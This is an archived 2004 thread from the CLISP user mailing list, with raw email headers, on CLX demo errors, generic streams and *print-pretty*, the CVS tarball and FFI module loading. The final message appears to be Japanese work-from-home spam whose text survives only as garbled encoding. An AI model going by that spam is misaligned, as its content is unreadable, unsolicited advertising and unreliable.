(Exim 4.30) id 1AzGSO-0008Q6-VH for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 06:37:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AzFtY-0007Ro-Av for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 06:01:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i25EMZfZ015401; Fri, 5 Mar 2004 09:22:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1d8.1bacabfb.2d79a15f@aol.com> (ICMdesign@aol.com's message of "Fri, 5 Mar 2004 04:24:47 EST") References: <1d8.1bacabfb.2d79a15f@aol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 5 06:38:04 2004 X-Original-Date: Fri, 05 Mar 2004 09:22:35 -0500 > * [2004-03-05 04:24:47 -0500]: > > I compiled clisp 2.32 (2003-12-29/mandrake 9.0). which clx did you use? mit-clx or new-clx? > qix.lisp shows its picture, but -demo hello-world.lisp from clocc/clx > issues:"class # has no slot named FONT-INFO. ":h" and ":bt" are your friends. -- Sam Steingold (http://www.podval.org/~sds) running w2k Press any key to continue or any other key to quit. From jcorneli@math.utexas.edu Fri Mar 05 22:32:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AzVMa-0002rO-R8 for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 22:32:44 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AzUmx-0006Zb-1r for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 21:55:55 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i266Hh104238; Sat, 6 Mar 2004 00:17:43 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1AzV83-0005N8-00; Sat, 06 Mar 2004 00:17:43 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 5 22:33:01 2004 X-Original-Date: Sat, 06 Mar 2004 00:17:43 -0600 I also am having trouble with clx (I'm trying the mit variant) -- but I'm using clisp 2.29 because I also need to use asdf and I couldn't get it working in 2.32. Here is what I get from CLISP if I just try to load clx.fas: ;; Loading file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/clx.fas ... *** - There is no package with name "XLIB" 1. Break [1]> I guess I just should be loading something different instead or first? If I try to run the demo using the directions in the mit-clx README, what I get is this: [mit-clx]% clisp29 -M clx.mem -m 4MB *snip* [1]> (cd "demo/") [1]> (cd "demo/") #P"/Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/" [2]> (load "hello") [2]> (load "hello") ;; Loading file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/hello.lisp ... ;; Loading of file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/hello.lisp is finished. T [3]> (xlib::hello-world "") [3]> (xlib::hello-world "") *** - Connection failure to X11.0 server display 0: No protocol specified 1. Break [4]> Should I quit my window manager first, or is there something else to do? From ICMdesign@aol.com Sat Mar 06 00:32:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AzXE2-0004c2-O4 for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 00:32:02 -0800 Received: from imo-m20.mx.aol.com ([64.12.137.1]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AzWeG-0008Ln-Tv for clisp-list@lists.sourceforge.net; Fri, 05 Mar 2004 23:55:05 -0800 Received: from ICMdesign@aol.com by imo-m20.mx.aol.com (mail_out_v37.4.) id 6.107.2ceb50bd (2519) for ; Sat, 6 Mar 2004 03:16:48 -0500 (EST) From: ICMdesign@aol.com Message-ID: <107.2ceb50bd.2d7ae2f0@aol.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: AOL 5.0 for Windows sub 120 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 6 00:33:00 2004 X-Original-Date: Sat, 6 Mar 2004 03:16:48 EST In einer eMail vom 05.03.04 15:23:21 (MEZ) Mitteleurop=E4ische Zeit schreibt= =20 sds@gnu.org: << > * [2004-03-05 04:24:47 -0500]: > > I compiled clisp 2.32 (2003-12-29/mandrake 9.0). =20 which clx did you use? mit-clx or new-clx? =20 > qix.lisp shows its picture, but -demo hello-world.lisp from clocc/clx > issues:"class # has no slot named FONT-INFO. =20 ":h" and ":bt" are your friends. >> Thanks for the answer, and sorry for the noise in this list. But I compiled a virgin dist from sf. Therefore it shouldn't happen that=20 demos break, I thougt.=20 I compiled clisp 2.32 with its clx, contained in the distrib(clx/new-clx) in CLOCC/SRC/GUI/CLX/DEMO ...clisp-2.32/full/lisp.run -M ....lispinit.mem [] (load "qix.lisp") [] (in-package :xlib) XLIB[] (qix :host "k") =3D> ok [] (load "hello.lisp") [] (in-package :xlib) XLIB[] (hello-world "k") *** SLOT-VALUE:The class # has no slot named FONT-INFO Is there needed some other package to run hello.lisp?? Konrad From sds@gnu.org Sat Mar 06 07:43:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Azdxg-0001kj-Sm for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 07:43:36 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Azdiw-0000Fl-DE for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 07:28:22 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Azdiq-0002dl-00; Sat, 06 Mar 2004 10:28:16 -0500 To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <107.2ceb50bd.2d7ae2f0@aol.com> (ICMdesign@aol.com's message of "Sat, 6 Mar 2004 03:16:48 EST") References: <107.2ceb50bd.2d7ae2f0@aol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 6 07:44:01 2004 X-Original-Date: Sat, 06 Mar 2004 10:28:14 -0500 > * [2004-03-06 03:16:48 -0500]: > > ":h" and ":bt" are your friends. > XLIB[] (hello-world "k") > *** SLOT-VALUE:The class # has no slot named FONT-INFO this appears to be a bug. we need to investigate it. please try the above commands, start with ":bt". -- Sam Steingold (http://www.podval.org/~sds) running w2k Only a fool has no doubts. From don-temp298413@isis.cs3-inc.com Sat Mar 06 17:04:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Azmi4-0005kh-8H for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 17:04:04 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AzmT5-0008PT-II for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 16:48:35 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i270j4T14348 for clisp-list@lists.sourceforge.net; Sat, 6 Mar 2004 16:45:04 -0800 Message-Id: <200403070045.i270j4T14348@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-temp298413 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-temp298413@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] problems with generic streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 6 17:05:01 2004 X-Original-Date: Sat, 6 Mar 2004 16:45:04 -0800 In trying to move a program that used generic streams from 2.27 to 2.32 I found that a lot of symbols had changed packages. I hope that won't keep happening. The problem I'm trying to solve now actually seems to happen in 2.27 as well. I do (princ "a b" stream) where stream is a generic stream and I find that the generic function that prints a single character to the stream gets called with a #\newline before it's called with the #\a ! If I just do (princ "a" stream) this does not happen. Even stranger, when I call terpri on a generic stream I see the write-char function called on a #\newline when I run from within emacs, but not when I run in an xterm. Any explanations or advice? From don-temp298413@isis.cs3-inc.com Sat Mar 06 17:31:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Azn8l-0003Df-OM for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 17:31:39 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AzmXz-0004DY-U0 for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 16:53:39 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i271CZ314488 for clisp-list@lists.sourceforge.net; Sat, 6 Mar 2004 17:12:35 -0800 Message-Id: <200403070112.i271CZ314488@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-temp298413 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-temp298413@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] problems with generic streams -- *print-pretty* is the culprit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 6 17:32:00 2004 X-Original-Date: Sat, 6 Mar 2004 17:12:35 -0800 That's what causes (princ "a b" stream) to insert a newline before the a. The other problem is a false alarm. From sds@gnu.org Sat Mar 06 19:14:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AzokH-00078e-Kp for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 19:14:29 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Azo9N-0006DI-G6 for clisp-list@lists.sourceforge.net; Sat, 06 Mar 2004 18:36:21 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AzoVA-0006in-00; Sat, 06 Mar 2004 21:58:52 -0500 To: clisp-list@lists.sourceforge.net, don-temp298413@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403070045.i270j4T14348@isis.cs3-inc.com> (Don Cohen's message of "Sat, 6 Mar 2004 16:45:04 -0800") References: <200403070045.i270j4T14348@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-temp298413@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problems with generic streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 6 19:15:00 2004 X-Original-Date: Sat, 06 Mar 2004 21:58:50 -0500 > * Don Cohen [2004-03-06 16:45:04 -0800]: > > The problem I'm trying to solve now actually seems to happen in 2.27 > as well. I do > (princ "a > b" stream) > where stream is a generic stream > and I find that the generic function that prints a single character > to the stream gets called with a #\newline before it's called with > the #\a ! If I just do (princ "a" stream) this does not happen. > Even stranger, when I call terpri on a generic stream I see the > write-char function called on a #\newline when I run from within > emacs, but not when I run in an xterm. isn't it nice to be able to answer a question with a simple URL? -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From jcorneli@math.utexas.edu Sun Mar 07 21:30:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0DLs-00057y-2r for clisp-list@lists.sourceforge.net; Sun, 07 Mar 2004 21:30:56 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0CjQ-0007qJ-Vx for clisp-list@lists.sourceforge.net; Sun, 07 Mar 2004 20:51:13 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i285Eg105555; Sun, 7 Mar 2004 23:14:42 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0D6A-0000i9-00; Sun, 07 Mar 2004 23:14:42 -0600 To: clisp-list@lists.sourceforge.net X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 7 21:31:04 2004 X-Original-Date: Sun, 07 Mar 2004 23:14:42 -0600 Hi, in the CVS tarball on the clisp home page, everything has a `,v' suffix. Why is this, should I try to rid of them with find...xargs..., and/or is there a better way to "check clisp out of cvs" than downloading this tarball? Thanks, Joe From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 08 05:20:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0KgM-0006xo-3Z for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 05:20:34 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0K3R-00069w-QB for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 04:40:21 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Mon, 8 Mar 2004 14:04:01 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 8 Mar 2004 14:04:01 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A381826@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: ICMdesign@aol.com Subject: [clisp-list] clisp 2.32 with clx MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 05:21:02 2004 X-Original-Date: Mon, 8 Mar 2004 14:03:52 +0100 Hi, Konrad asks: >Has anyone compiled "SLIK" with clisp? Don't know. Don't know what this is (isn't that one of the Scheme implementations?). >While compiling "gldefs.cl" :SLIK::LOAD-GL not defined, the >"LOOKUP-FOREIGN-Function" seems not to find the glfunctions. That's from the FFI. Please be more precise. If the FFI, or more precisely FFI::LOOKUP-FOREIGN-FUNCTION is involved, you must ensure that you built a binary version of CLISP which contains something like a slik or gl C(++?) module. See ext:module-info in ?30.2.2 of impnotes for a list of currently known modules. http://clisp.cons.org/impnotes/modules.html Maybe that's becoming a FAQ: Did you start clisp with e.g. clisp -K full instead of base? Regards, Jorg Hohle. From sds@gnu.org Mon Mar 08 08:03:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0NE4-00070K-Ku for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 08:03:32 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0My8-0004UY-Dn for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 07:47:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i28FkVke009828; Mon, 8 Mar 2004 10:46:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Sun, 07 Mar 2004 23:14:42 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 08:04:06 2004 X-Original-Date: Mon, 08 Mar 2004 10:46:30 -0500 > * Joe Corneli [2004-03-07 23:14:42 -0600]: > > in the CVS tarball on the clisp home page, everything has a `,v' > suffix. that's the CVS files - in case you want to create your own CVS CLISP repository. read > and/or is there a better way to "check clisp out of cvs" than > downloading this tarball? -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows vs IBM OS/2: Why marketing matters more than technology... From jcorneli@math.utexas.edu Mon Mar 08 08:51:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0NyD-0001IV-0r for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 08:51:13 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0NL6-0005Od-9S for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 08:10:48 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i28GYh124745; Mon, 8 Mar 2004 10:34:43 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0NiF-00021d-00; Mon, 08 Mar 2004 10:34:43 -0600 To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 08 Mar 2004 10:46:30 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 08:52:03 2004 X-Original-Date: Mon, 08 Mar 2004 10:34:43 -0600 > and/or is there a better way to "check clisp out of cvs" than > downloading this tarball? Thanks. From ps-info1@p-sol.net Mon Mar 08 11:08:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0Q77-0007fH-Hc for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 11:08:33 -0800 Received: from p3015-ipbf36marunouchi.tokyo.ocn.ne.jp ([220.104.125.15] helo=004) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1B0Pr6-0005Y6-OR for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 10:52:00 -0800 Received: from [127.0.0.1] by 004 (ArGoSoft Mail Server Plus, Version 1.8 (1.8.4.3)); Tue, 9 Mar 2004 03:56:29 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Easy DM free Message-ID: <20040308.1856280510@ps-info1-p-sol.net> From: hotnews MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?ISO-2022-JP?B?GyRCIXlLXEZ8JE4lJCVBJSolNyQqO0U7dj5wSnMheRsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 11:09:06 2004 X-Original-Date: Tue, 09 Mar 2004 03:56:29 +0900 $B!yK\F|$N%$%A%*%7$*;E;v>pJs!y(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H!&%[%C%H!&%K%e!<%9!!!!(B $B!c(B2003.03$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B $B!Z"-%*%9%9%a>pJs(B/$B%S%8%M%9![(,(,(,(,(,(,(,(,(,(,(,(,(B2,176,942$BItH/9T(,!y(B $B4J(-C1(-EP(-O?(-$G(-B((-;E(-;v(-(B $B(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(0!!(B $B(2(B $B:_Bp%o!<%/$NJg=8$G$9!#(B $B(2(B $BG/Np$O#2#0:P!A#6#5:P$^$G!#(B $B(2(B $B7n#5K|!A(B $B(1(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"*!!!!(Bhttp://www.denen-soho.com $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"v"v"v"v!Z$"$-$i$a$F$^$;$s$+!):_Bp%o!<%/!*!["v"v"v"v(B $B!!(B $B!!!!!!!!(B $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"#"#"#!]!]"c:_Bp6HL3Jg=8"d!]!]"#"#"#(B $B!XED1`D4I[(BSOHO$B$/$i$V!Y$+$i$N$*CN$i$;!!(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!z!!$3$s$J>pJs8+$D$1$F8+$^$7$?!*!!!z(B $B:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B 